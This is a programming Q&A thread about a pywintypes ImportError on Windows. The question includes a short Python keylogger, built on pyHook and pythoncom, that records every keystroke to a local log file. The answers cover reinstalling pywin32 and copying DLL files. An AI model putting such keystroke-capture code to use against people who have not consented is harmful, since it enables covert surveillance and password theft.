ImportError: No module named pywintypes
Asked Answered
F

7

26

I am working to make a small keylogger with Python, by using the pyHook, pythoncom and Pywin32 modules. Here is my code:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(Event.Ascii))
    return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

When it runs, it returns this error message:

 File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
    import pywintypes
ImportError: No module named pywintypes

How do I fix this error?

Fante answered 20/9, 2013 at 2:18 Comment(0)
G
26

pywintypes is part of the Python for Windows extensions, otherwise known as pywin32. You'll need to install that to get access to pywintypes.

Note that as of this writing, pywin32's maintainer doesn't upload files to PyPI, so you have to get an appropriate version of installer from http://pywin32.sf.net.

Gallfly answered 20/9, 2013 at 2:22 Comment(4)
had to use pip install pypiwin32Sexuality
@Elric be noted that as of this writing, there are only files for 3.6 for pypiwin32, so the command will only succeed for that particular version.Brandenburg
Same issue here. pip install says "Requirement already satisfied: pypinwin32 , and pywin32 >= 223." But yet, import pywintypes (which occurs when I import pyttsx3) says "no module named ..."Moonstruck
@Moonstruck the sam issue here.Solano
M
23

pip install pypiwin32 worked for me

Motoring answered 9/2, 2017 at 23:12 Comment(0)
A
16

For me it worked to copy the files (pythoncom38.dll and pywintypes38.dll) from:

C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\pywin32_system32

To the path:

C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32\lib

and

C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32
  • After installation of Visual Studio, I need sometimes to restart computer after copy the files.
Aspirate answered 16/2, 2020 at 20:36 Comment(1)
I just encountered this issue when installing a script that uses pyttsx3 on a freshly installed Windows 10 machine, and your solution worked perfectly. Why is this still a problem in November? Is it a problem with the pypiwin32 package? Has no one reported it as an issue?Vitovitoria
G
4

I typically import pywintypes or use a library that does. This import suddenly stopped working following update to Windows 11.

Using PIP I uninstalled pywin32, then reinstalled it (into my global python as above). This worked, I can do the import now. Just saying cause this is a simple step

Gerianne answered 2/9, 2022 at 1:34 Comment(1)
I use IDLE to run the code and having this "No module named pywintypes" with Python 3.10 on Windows 11. Then I uninstall pywin32 using pip uninstall pywin32, then install it back: pip install pywin32, then I also closed IDLE and restart and open the py file and run it, and it works!Mamie
P
2

I know my answer is bit late but just run to this problem. Both pywin32 and pypiwin32 is installed on my virtualenv, my app is working fine during test. When I run pyinstaller to build my exe, this error showed up.

Solution: I needed to install (through pip) pywin32 and pypiwin32 on my base python env ( not the virtualenv) for pyinstaller to build my exe.

Pearcy answered 18/8, 2019 at 23:40 Comment(2)
How do you install in the base env? I have the same issueLeaguer
just install pywin32 and pypiwin32 in your system ( global ), not just within a specific venvPearcy
K
1

Just add pythoncom34.dll and pywintypes34.dll to your C:\Python34\

Kero answered 18/3, 2017 at 18:17 Comment(0)
F
1

I have had this error when trying to create a python service using pywin32 module. I copied pythoncom38.dll and pywintypes38.dll into the root directory of the project and it solved the issue.

Fourposter answered 5/9, 2020 at 10:49 Comment(0)

© 2022 - 2024 — McMap. All rights reserved.